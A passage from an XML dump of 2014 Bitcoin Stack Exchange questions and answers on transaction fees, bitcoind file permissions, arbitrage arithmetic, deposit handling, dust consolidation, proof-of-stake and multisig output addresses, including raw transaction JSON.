  <row Id="25759" PostTypeId="1" AcceptedAnswerId="25760" CreationDate="2014-06-04T09:46:18.980" Score="2" ViewCount="253" Body="&lt;p&gt;Good morning, &#xA;I was reading the wiki on transaction fees and it says a transaction of &amp;lt; 1000 bytes is sent without fees. Although after stumbling in bitxoinsfees i read that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If this size is less than 10,000 bytes and step 3 found that the&#xA;  transaction's priority was high enough to qualify as free, then the&#xA;  transaction still qualifies as free, otherwise a fee is required.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So which of the 2 is correct?&lt;/p&gt;&#xA;" OwnerUserId="10246" LastActivityDate="2017-06-08T09:25:57.560" Title="Transaction Fees" Tags="|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25760" PostTypeId="2" ParentId="25759" CreationDate="2014-06-04T09:54:41.740" Score="1" Body="&lt;p&gt;The official &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Sending&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; says (and you can probably trust this wiki):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A transaction may be safely sent without fees if these conditions are met:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;It is smaller than 1,000 bytes.&lt;/li&gt;&#xA;  &lt;li&gt;All outputs are 0.01 BTC or larger.&lt;/li&gt;&#xA;  &lt;li&gt;Its priority is large enough (see the Technical Info section below)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The site you read is probably outdated, because since Bitcoin 0.8.6 is released, the amount of bytes is reduced from 10000 to 1000. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tradeblock.com/research/bitcoin-0-8-6-released-updates-block-size-limits-free-transactions-osx-bugs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In an effort to make free transactions more commonly accessible, Bitcoin 0.8.6 lowers the maximum size of free transactions from 10,000 bytes to 1,000 bytes and eliminates the minimum 0.01 XBT output requirement&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can see from the answer &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9971/does-the-bitcoin-qt-client-have-a-minimum-transaction-fee&quot;&gt;here&lt;/a&gt;, that the wiki previously stated 10000 bytes as minimum. So the official wiki is updated, the site isn't.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-06-04T09:54:41.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25761" PostTypeId="2" ParentId="10748" CreationDate="2014-06-04T11:29:33.110" Score="1" Body="&lt;p&gt;You should be able to change the permissions of the block files using the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chmod -R go+r .bitcoin/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(replacing &lt;code&gt;.bitcoin/&lt;/code&gt; with your &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;Bitcoin data directory&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that bitcoind will create all new files with permissions so that only allow the owner of the files can read from and write to them (600), because of the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/init.cpp#L425&quot; rel=&quot;nofollow&quot;&gt;following line in &lt;code&gt;init.cpp&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;umask(077);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have created a patch and a pull request that should fix this, though: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4286&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/4286&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="902" LastActivityDate="2014-06-04T11:29:33.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25762" PostTypeId="2" ParentId="25754" CreationDate="2014-06-04T11:42:06.680" Score="3" Body="&lt;p&gt;To answer your first question: I do not know any free, opensource, trusted software that arbitrages for you. It will not generate any money for the developers, and only depletes their source of income. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To calculate the profit in arbitrage you first have to know all the steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Buy a Bitcoin for $600 (rate #1) on exchange A (trading fee #1)&lt;/li&gt;&#xA;&lt;li&gt;Send this Bitcoin to exchange B (withdrawal fee #1)&lt;/li&gt;&#xA;&lt;li&gt;Sell this Bitcoin for $610 (rate #2) on exchange B (trading fee #2)&lt;/li&gt;&#xA;&lt;li&gt;Send $610 to exchange A (withdrawal fee #2)&lt;/li&gt;&#xA;&lt;li&gt;Have $610 instead of $600 =&gt; 1.67% profit&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course you can do this also with different altcoins, which travel faster between the exchanges than money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see, there are 4 different fees that you have to calculate. Trading fees are most of the time a percentage of the volume, but withdrawal fees are most are most of the time fixed. That is also what I am assuming in the following formula:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin on exchange B = &lt;strong&gt;X&lt;/strong&gt; = (Start amount / (rate #1) * (1 - trading fee #1)- withdrawal fee #1) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;USD on exchange A = &lt;strong&gt;Y&lt;/strong&gt; = &lt;strong&gt;X&lt;/strong&gt; * (rate #2) * (1 - trading fee #2) - withdrawal fee #2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;profit = (&lt;strong&gt;Y&lt;/strong&gt;/&lt;strong&gt;X&lt;/strong&gt; - 1)*100 (outcome in %)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to break the equation in pieces so that is more readable. &lt;strong&gt;X&lt;/strong&gt; in the second equation is calculated in the first one. &lt;strong&gt;Y&lt;/strong&gt; is the outcome of the second equation. Profit uses both variables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two most important variables are of course the rates. If they are very close to each other (within ~0.5%) there is very little chance to arbitrage. This is because the trading fees are around 0.2%, and you have to trade twice. If the starting amount is big enough, the withdrawal fee is negligible (for example: 0.00050 BTC on Kraken). You can fill in the variables (rate, fees, start amount) yourself to calculate the profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*Note&lt;/strong&gt;: there could be an error in here. I am in no way responsible for any loss of money because of this calculations. I calculated it myself by hand a dozen of times and it is easy for a mistake to slip in. Also remember that the market changes during the transfer of money/bitcoin, and therefor your chance to make money can vanish. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-06-04T11:42:06.680" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25763" PostTypeId="1" AcceptedAnswerId="26854" CreationDate="2014-06-04T14:24:43.157" Score="6" ViewCount="1125" Body="&lt;p&gt;Suppose we are building online casino/market and want to receive payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be &lt;strong&gt;scalable&lt;/strong&gt;, safe and have good user experience, we:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cannot generate new address for every single payment. Having single deposit address is a lot easier. Also users always can deposit to old address by mitake even if generated new address.&lt;/li&gt;&#xA;&lt;li&gt;cannot check &lt;code&gt;listreceivedbyaddress&lt;/code&gt; because regulary checking hundreds of thausands of addresses is not scalable. Also large RPC output when single user make thousand of deposits.&lt;/li&gt;&#xA;&lt;li&gt;we should do not rely on external services online blockchain API.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We absolutely cannot use any RPC call that will list complete and growing list of transactions like all transactions for wallet or all transactions for address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the most sensible way should be checking by &lt;code&gt;listsinceblock&lt;/code&gt; to parse all transactions &quot;per analysed block&quot; and joining to user balances by destination address - incrase user amount in our online service and &lt;strong&gt;mark this payment as &quot;completed&quot; to not count it second time&lt;/strong&gt;. Simplest way of marking this transaction as &quot;already resolved&quot; is to store its &lt;strong&gt;ID as &quot;already used&quot;&lt;/strong&gt; in same SQL transaction that incrases user balance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I heard that it is possible to change transaction id in block chain, so is such solution safe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I use RPC calls to receive payments block after block and which data can I use to mark payment as resolved to be safe from duplicated deposits on single payment?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; how &quot;big players&quot; like Cryptsy do receive payments?&lt;/p&gt;&#xA;" OwnerUserId="17075" LastEditorUserId="17075" LastEditDate="2014-06-04T14:31:38.737" LastActivityDate="2020-08-12T11:49:59.397" Title="How to receive payments online to single address per user in scalable way?" Tags="|bitcoind|bitcoin-core|server|json-rpc|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25764" PostTypeId="1" CreationDate="2014-06-04T15:23:17.660" Score="2" ViewCount="109" Body="&lt;p&gt;Say I have two accounts in my wallet. Account &lt;strong&gt;A&lt;/strong&gt; has one address, account &lt;strong&gt;B&lt;/strong&gt; though has 5 address. Each address in account B has a dust amount of coin in it. If I were to use the rpc 'move' command, moving each piece of dust from the respective address in account B over to one lump in account A &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Accounts, exist only within the Bitcoin Core client. They are just a bookkeeping device to group your funds. You can move coins between accounts with the move command in the Bitcoin Core console. This updates the client's internal records to adjust the balances of those accounts, but doesn't actually cause any coins to move between addresses, so it has no fee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How is that valid, as account A would have the one primary address? Does this mean that I am sending to another account owned by me so the coin dust is landing in the account ignoring the primary address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And say for example I then used the lump in account A to buy some new boots. Wouldn't that make the next fee that account A would pay higher as it was made from a collection of dust(s)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I have to wait a considerable amount of time to lower the fee? Is there another strategy I could use to bring the fee down? Like importing an external key from an compressed pubkey from another wallet (&lt;strong&gt;C&lt;/strong&gt;), paying to to C from A. I don't yet fully understand public keys and compression but as I understand sending to them is considerably cheaper (something to do with inputs?.. not too sure what exactly those are)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel sort of like I am understanding more, can someone please clarify a little and/or correct me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit-1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I wait a while then as &lt;a href=&quot;https://bitcoin.stackexchange.com/users/12034/tim-s&quot;&gt;Tim S&lt;/a&gt; suggests... Account B has 5 addresses, lets look at one of them (an address with piece of dust in it). Lets say that some more dust payments were sent to that address making the 'dust pile' grow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At what point is it not dusty?&#xA;Are there still too many inputs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Am I confused by the term 'inputs': &lt;strong&gt;&quot;inputs from many addresses in your wallet&quot;&lt;/strong&gt; or &lt;strong&gt;&quot;inputs from many payments to the one address&quot;&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I waited 3 days after all the dust came in and settled until it gained priority, then sent the whole dust pile (from that account B address only) to another address. Would it be more worth sending / have I made the situation better?&lt;/p&gt;&#xA;" OwnerUserId="17044" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-06-05T18:40:31.700" Title="Can I lower fees with stratagy" Tags="|json-rpc|movecmd|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25766" PostTypeId="2" ParentId="25743" CreationDate="2014-06-04T17:48:48.423" Score="17" Body="&lt;p&gt;Vanilla proof-of-stake doesn't achieve consensus, unfortunately. People staking their coin can vote for both forks of the blockchain, and can even mine effortlessly in secret. In PoW this is impossible, as you are literally wasting energy by mining both sides of a fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mitigate this, most modern PoS schemes use a mixture of PoS and PoW to ensure that someone will finally decide the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1oi7su/criticisms_of_proofofstake/&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1oi7su/criticisms_of_proofofstake/&lt;/a&gt; for more discussion.&lt;/p&gt;&#xA;" OwnerUserId="17078" LastEditorUserId="17078" LastEditDate="2014-06-04T17:54:25.017" LastActivityDate="2014-06-04T17:54:25.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25767" PostTypeId="1" CreationDate="2014-06-04T18:59:35.617" Score="8" ViewCount="2157" Body="&lt;p&gt;I am trying to load the blockchain into a MySQL database by using the data gathered from RPC calls to bitcoind. I am wondering why the &lt;code&gt;addresses&lt;/code&gt; key within the &lt;code&gt;vout&lt;/code&gt; array of a transaction is plural. Why can there be multiple addresses receiving bitcoins using only a single output? Below is the result of running&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;bitcoind getrawtransaction 40d9e9dc25f89b590a26c486c46df9d40a72200080200c8fdf1bdf0562b2fba7 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;for some arbitrary transaction with hash &lt;code&gt;40d9e9dc25f89b590a26c486c46df9d40a72200080200c8fdf1bdf0562b2fba7&lt;/code&gt;. If you look at the bottom you'll see the transaction's &lt;code&gt;vout&lt;/code&gt; array with two outputs. The addresses values for each of those outputs are &lt;code&gt;127W9E5BVn6KxVCV2iiVbJmQrVoUd8xmu3&lt;/code&gt; and &lt;code&gt;18AQDxusBQTJiNSG6EszPUfi85RhDpo7Qf&lt;/code&gt; respectively. Is there some future plan by the core developers to allow multiple addresses to receive bitcoins from a single output? As you can see I am confused by the use of the plural here.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &amp;quot;hex&amp;quot;: &amp;quot; &amp;quot;,&#xA;    &amp;quot;txid&amp;quot;: &amp;quot;40d9e9dc25f89b590a26c486c46df9d40a72200080200c8fdf1bdf0562b2fba7&amp;quot;,&#xA;    &amp;quot;version&amp;quot;: 1,&#xA;    &amp;quot;locktime&amp;quot;: 0,&#xA;    &amp;quot;vin&amp;quot;: [&#xA;        {&#xA;            &amp;quot;txid&amp;quot;: &amp;quot;10e0c137837b4bf17aef987fd01cfc0040caf9e8081a996a99ae0fc79dbccdf5&amp;quot;,&#xA;            &amp;quot;vout&amp;quot;: 87,&#xA;            &amp;quot;scriptSig&amp;quot;: {&#xA;                &amp;quot;asm&amp;quot;: &amp;quot;304402206104041c8f9330103a1c3b77714b95e61ec90769b7f54cba426baaf8e676256402204134829de0e0ac24f340a680655b35747fbad26ab517d5324a22e20505130ba801 04ec3619fb20e737d551489c16b2df50bf91fb95b1d7b15a7835f752b9aeb5bcb4337c40aef04e39962c95e1a8630c793c158ee464d93a80b14cfb0ce9f8039d25&amp;quot;,&#xA;                &amp;quot;hex&amp;quot;: &amp;quot;47304402206104041c8f9330103a1c3b77714b95e61ec90769b7f54cba426baaf8e676256402204134829de0e0ac24f340a680655b35747fbad26ab517d5324a22e20505130ba8014104ec3619fb20e737d551489c16b2df50bf91fb95b1d7b15a7835f752b9aeb5bcb4337c40aef04e39962c95e1a8630c793c158ee464d93a80b14cfb0ce9f8039d25&amp;quot;&#xA;            },&#xA;            &amp;quot;sequence&amp;quot;: 4294967295&#xA;        },&#xA;        {&#xA;            &amp;quot;txid&amp;quot;: &amp;quot;6e1ccdef5c271ba24f5a5c30a3debd3a6c257a448911d84e4956f65045483802&amp;quot;,&#xA;            &amp;quot;vout&amp;quot;: 0,&#xA;            &amp;quot;scriptSig&amp;quot;: {&#xA;                &amp;quot;asm&amp;quot;: &amp;quot;304502210092bd8b04c5df3c23e9bf3516c1434ff4cdde8aff42d14ec18eea16393de900ad022008a005f46fdee01c17032fc3688af311c8413ca2c866e8bc95f6c4e95581669701 04d1a7f146aa464889c80286b105739bdfe05c186d4d1bc0737898f28d4e1c17a99d5a3c71ada20873916d0d5d75a92db2aaab37b8a14a18338b7b223727f5d417&amp;quot;,&#xA;                &amp;quot;hex&amp;quot;: &amp;quot;48304502210092bd8b04c5df3c23e9bf3516c1434ff4cdde8aff42d14ec18eea16393de900ad022008a005f46fdee01c17032fc3688af311c8413ca2c866e8bc95f6c4e955816697014104d1a7f146aa464889c80286b105739bdfe05c186d4d1bc0737898f28d4e1c17a99d5a3c71ada20873916d0d5d75a92db2aaab37b8a14a18338b7b223727f5d417&amp;quot;&#xA;            },&#xA;            &amp;quot;sequence&amp;quot;: 4294967295&#xA;        },&#xA;        {&#xA;            &amp;quot;txid&amp;quot;: &amp;quot;a97685efbed249543f34c22480609ea1851b4d4c76f7207db3de64b65206d037&amp;quot;,&#xA;            &amp;quot;vout&amp;quot;: 2,&#xA;            &amp;quot;scriptSig&amp;quot;: {&#xA;                &amp;quot;asm&amp;quot;: &amp;quot;30450221009ba99d89a15ccd7cefb499c42c0d94ed5e41a18d11007ba6d9d3edd479ec20bb02206c002e270c17190ab5f8d7fef33a73509aea518fae2671e21cdb3aa8dedf53ce01 049a56e83820ad23350de1b1fa3b2686ef053c75c2a01dcae4e777e057e985aa94e8d2a5d7d158c970b10097249dcaa4ec34748f4402a5c4c8eb7a61a27cf3ba80&amp;quot;,&#xA;                &amp;quot;hex&amp;quot;: &amp;quot;4830450221009ba99d89a15ccd7cefb499c42c0d94ed5e41a18d11007ba6d9d3edd479ec20bb02206c002e270c17190ab5f8d7fef33a73509aea518fae2671e21cdb3aa8dedf53ce0141049a56e83820ad23350de1b1fa3b2686ef053c75c2a01dcae4e777e057e985aa94e8d2a5d7d158c970b10097249dcaa4ec34748f4402a5c4c8eb7a61a27cf3ba80&amp;quot;&#xA;            },&#xA;            &amp;quot;sequence&amp;quot;: 4294967295&#xA;        },&#xA;        {&#xA;            &amp;quot;txid&amp;quot;: &amp;quot;b4d9870feede32f52f15ec1c951f092ef895b70f7fc3c762d2b450a53366cfb6&amp;quot;,&#xA;            &amp;quot;vout&amp;quot;: 1,&#xA;            &amp;quot;scriptSig&amp;quot;: {&#xA;                &amp;quot;asm&amp;quot;: &amp;quot;3046022100cb5b6ba715d77876adcd39f5ecc315cd8bd79c29bb56970b9650603decd3f243022100ac157b1ccd55dc53afac81424d8bcadc371e70660659e4b1d2ac38dfd54e008601 0408ddf2624fcd9a76b6821768d901d136c72df5cfdeca960f698bbec2a24ce6fe65dc2795c4106db990f40674215c0badc15547749e1098ebf1acc23bfa164299&amp;quot;,&#xA;                &amp;quot;hex&amp;quot;: &amp;quot;493046022100cb5b6ba715d77876adcd39f5ecc315cd8bd79c29bb56970b9650603decd3f243022100ac157b1ccd55dc53afac81424d8bcadc371e70660659e4b1d2ac38dfd54e008601410408ddf2624fcd9a76b6821768d901d136c72df5cfdeca960f698bbec2a24ce6fe65dc2795c4106db990f40674215c0badc15547749e1098ebf1acc23bfa164299&amp;quot;&#xA;            },&#xA;            &amp;quot;sequence&amp;quot;: 4294967295&#xA;        },&#xA;        {&#xA;            &amp;quot;txid&amp;quot;: &amp;quot;19fb9c28502598ddb2940ac61e1425ca485bec9e8cb225dabb0d8d36e2525d40&amp;quot;,&#xA;            &amp;quot;vout&amp;quot;: 1,&#xA;            &amp;quot;scriptSig&amp;quot;: {&#xA;                &amp;quot;asm&amp;quot;: &amp;quot;3045022070d50be3affd2201bd8c7cf800c2610b4b1dc8b0edd3292c88b1a9abca272d69022100b60eef3992902992032087c51e6487115dd54ec35ecd75b0e83804f7dcc61a5d01 0403f8182f373e43770c0edcf5d793ec1e19d8600a4ef19d90860a5ed8ecd7fc445c4edb315e78db4a80f6aa2fe89e99a88e780bcf964af2b505abe7aefd2039c6&amp;quot;,&#xA;                &amp;quot;hex&amp;quot;: &amp;quot;483045022070d50be3affd2201bd8c7cf800c2610b4b1dc8b0edd3292c88b1a9abca272d69022100b60eef3992902992032087c51e6487115dd54ec35ecd75b0e83804f7dcc61a5d01410403f8182f373e43770c0edcf5d793ec1e19d8600a4ef19d90860a5ed8ecd7fc445c4edb315e78db4a80f6aa2fe89e99a88e780bcf964af2b505abe7aefd2039c6&amp;quot;&#xA;            },&#xA;            &amp;quot;sequence&amp;quot;: 4294967295&#xA;        }&#xA;    ],&#xA;    &amp;quot;vout&amp;quot;: [&#xA;        {&#xA;            &amp;quot;value&amp;quot;: 0.01002,&#xA;            &amp;quot;n&amp;quot;: 0,&#xA;            &amp;quot;scriptPubKey&amp;quot;: {&#xA;                &amp;quot;asm&amp;quot;: &amp;quot;OP_DUP OP_HASH160 0c32f2aac46ffdcc2f02048c5f18e1b24b9be3b1 OP_EQUALVERIFY OP_CHECKSIG&amp;quot;,&#xA;                &amp;quot;hex&amp;quot;: &amp;quot;76a9140c32f2aac46ffdcc2f02048c5f18e1b24b9be3b188ac&amp;quot;,&#xA;                &amp;quot;reqSigs&amp;quot;: 1,&#xA;                &amp;quot;type&amp;quot;: &amp;quot;pubkeyhash&amp;quot;,&#xA;                &amp;quot;addresses&amp;quot;: [&#xA;                    &amp;quot;127W9E5BVn6KxVCV2iiVbJmQrVoUd8xmu3&amp;quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &amp;quot;value&amp;quot;: 0.124,&#xA;            &amp;quot;n&amp;quot;: 1,&#xA;            &amp;quot;scriptPubKey&amp;quot;: {&#xA;                &amp;quot;asm&amp;quot;: &amp;quot;OP_DUP OP_HASH160 4e900299bc94a699aef0fbf2dbbeabd3a3cb03e8 OP_EQUALVERIFY OP_CHECKSIG&amp;quot;,&#xA;                &amp;quot;hex&amp;quot;: &amp;quot;76a9144e900299bc94a699aef0fbf2dbbeabd3a3cb03e888ac&amp;quot;,&#xA;                &amp;quot;reqSigs&amp;quot;: 1,&#xA;                &amp;quot;type&amp;quot;: &amp;quot;pubkeyhash&amp;quot;,&#xA;                &amp;quot;addresses&amp;quot;: [&#xA;                    &amp;quot;18AQDxusBQTJiNSG6EszPUfi85RhDpo7Qf&amp;quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ],&#xA;    &amp;quot;blockhash&amp;quot;: &amp;quot;000000000000034a7dedef4a161fa058a2d67a173a90155f3a2fe6fc132e0ebf&amp;quot;,&#xA;    &amp;quot;confirmations&amp;quot;: 104243,&#xA;    &amp;quot;time&amp;quot;: 1348310759,&#xA;    &amp;quot;blocktime&amp;quot;: 1348310759&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17080" LastEditorUserId="121091" LastEditDate="2021-07-12T17:38:40.630" LastActivityDate="2021-07-12T17:38:40.630" Title="Why is it possible to have multiples addresses in an output of a transaction?" Tags="|transactions|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25768" PostTypeId="2" ParentId="25764" CreationDate="2014-06-04T19:01:47.893" Score="4" Body="&lt;p&gt;Regardless of what accounts they are in in your wallet, consolidating/spending your dust may require substantial transaction fees - maybe even exceeding the value of the dust. The major factor that comes into play is the size added to a transaction by each additional input. You can read a lot of info on the Bitcoin wiki about &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;transaction fees&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some strategies for reducing/eliminating the fees:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Include some dust in a free transaction.&lt;/strong&gt; How much you'll be able to include without lowering your priority below the minimum for a free transaction depends on the coin-age you're spending in the transaction (large, old balance = high priority).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Include some dust in a paid transaction.&lt;/strong&gt; The 0.0001 BTC per thousand bytes means that if you have a transaction that's only, say, 250 bytes you can add up to 750 bytes of extra data (in this case, dust inputs) for no additional cost.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Transmit your transactions directly to a &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot; rel=&quot;nofollow&quot;&gt;free transaction relay/low-fee pool&lt;/a&gt;.&lt;/strong&gt; For example, Eligius &lt;a href=&quot;http://eligius.st/~gateway/faq-page&quot; rel=&quot;nofollow&quot;&gt;only requires&lt;/a&gt; 0.1 TBC (0.00004096 BTC) per 512 bytes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Wait it out.&lt;/strong&gt; If the value of a bitcoin rises substantially, the transaction fee limits will likely be lowered to account for that, so your dust will not be so dusty-looking.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If these all sound like a bit of a pain, that's because Bitcoin isn't really designed for micro-transactions, and much is in place to discourage spamming in the form of &quot;dust&quot;.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-06-05T16:01:48.220" LastActivityDate="2014-06-05T16:01:48.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25770" PostTypeId="2" ParentId="25767" CreationDate="2014-06-04T20:00:38.040" Score="4" Body="&lt;p&gt;Multisig transactions might have multiple &lt;code&gt;addresses&lt;/code&gt;. For an example I found on &lt;a href=&quot;http://webbtc.com/scripts/multisig&quot; rel=&quot;nofollow&quot;&gt;webbtc's list&lt;/a&gt; of multisig transactions, see &lt;a href=&quot;http://live.insight.is/api/tx/055f9c6dc094cf21fa224e1eb4a54ee3cc44ae9daa8aa47f98df5c73c48997f9&quot; rel=&quot;nofollow&quot;&gt;055f9c6dc094cf21fa224e1eb4a54ee3cc44ae9daa8aa47f98df5c73c48997f9&lt;/a&gt; (using insight-api, since it's handy).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot;: &quot;055f9c6dc094cf21fa224e1eb4a54ee3cc44ae9daa8aa47f98df5c73c48997f9&quot;,&#xA;    &quot;version&quot;: 1,&#xA;    &quot;locktime&quot;: 0,&#xA;    &quot;vin&quot;: [&#xA;        {&#xA;            &quot;txid&quot;: &quot;b187426f2fdd5a7ac2f49d822f68e07f48486ee53a8a45de2494f12acb37a0d8&quot;,&#xA;            &quot;vout&quot;: 3,&#xA;            &quot;scriptSig&quot;: {&#xA;                &quot;asm&quot;: &quot;3046022100d78c31a20fa11533475be893b229eb4d252e600dcc2a0735d360c541b6aec813022100e3eaa72c915ef47d94ccbd18c2ba6d9ae5b98be6e9fbf968d4bbbb003e06d68701 030e001332b43924be343986cca3df669f57b0dedd120990e727787f8dea50fdbc&quot;&#xA;            },&#xA;            &quot;sequence&quot;: 4294967295,&#xA;            &quot;n&quot;: 0,&#xA;            &quot;addr&quot;: &quot;1FrbMcddiM1v3HMpUqygjZYCamBykWCWao&quot;,&#xA;            &quot;valueSat&quot;: 1114144,&#xA;            &quot;value&quot;: 0.01114144,&#xA;            &quot;doubleSpentTxID&quot;: null&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot;: [&#xA;        {&#xA;            &quot;value&quot;: &quot;0.00010860&quot;,&#xA;            &quot;n&quot;: 0,&#xA;            &quot;scriptPubKey&quot;: {&#xA;                &quot;asm&quot;: &quot;1 030e001332b43924be343986cca3df669f57b0dedd120990e727787f8dea50fdbc 20434e545250525459000000140001a9e0e85838b5000000174876e800010053b6 2 OP_CHECKMULTISIG&quot;,&#xA;                &quot;reqSigs&quot;: 1,&#xA;                &quot;type&quot;: &quot;multisig&quot;,&#xA;                &quot;addresses&quot;: [&#xA;                    &quot;1FrbMcddiM1v3HMpUqygjZYCamBykWCWao&quot;,&#xA;                    &quot;1HT7xU2Ngenf7D4yocz2SAcnNLW7rK8d4E&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot;: &quot;0.00010860&quot;,&#xA;            &quot;n&quot;: 1,&#xA;            &quot;scriptPubKey&quot;: {&#xA;                &quot;asm&quot;: &quot;1 030e001332b43924be343986cca3df669f57b0dedd120990e727787f8dea50fdbc 20a3c3000000000000000000000000000000000000000000000000000000000000 2 OP_CHECKMULTISIG&quot;,&#xA;                &quot;reqSigs&quot;: 1,&#xA;                &quot;type&quot;: &quot;multisig&quot;,&#xA;                &quot;addresses&quot;: [&#xA;                    &quot;1FrbMcddiM1v3HMpUqygjZYCamBykWCWao&quot;,&#xA;                    &quot;1HT7xU2Ngenf7D4yocz2SAcnNLW7rK8d4E&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot;: &quot;0.00010860&quot;,&#xA;            &quot;n&quot;: 2,&#xA;            &quot;scriptPubKey&quot;: {&#xA;                &quot;asm&quot;: &quot;1 030e001332b43924be343986cca3df669f57b0dedd120990e727787f8dea50fdbc 100000000000000000000000000000000000000000000000000000000000000000 2 OP_CHECKMULTISIG&quot;,&#xA;                &quot;reqSigs&quot;: 1,&#xA;                &quot;type&quot;: &quot;multisig&quot;,&#xA;                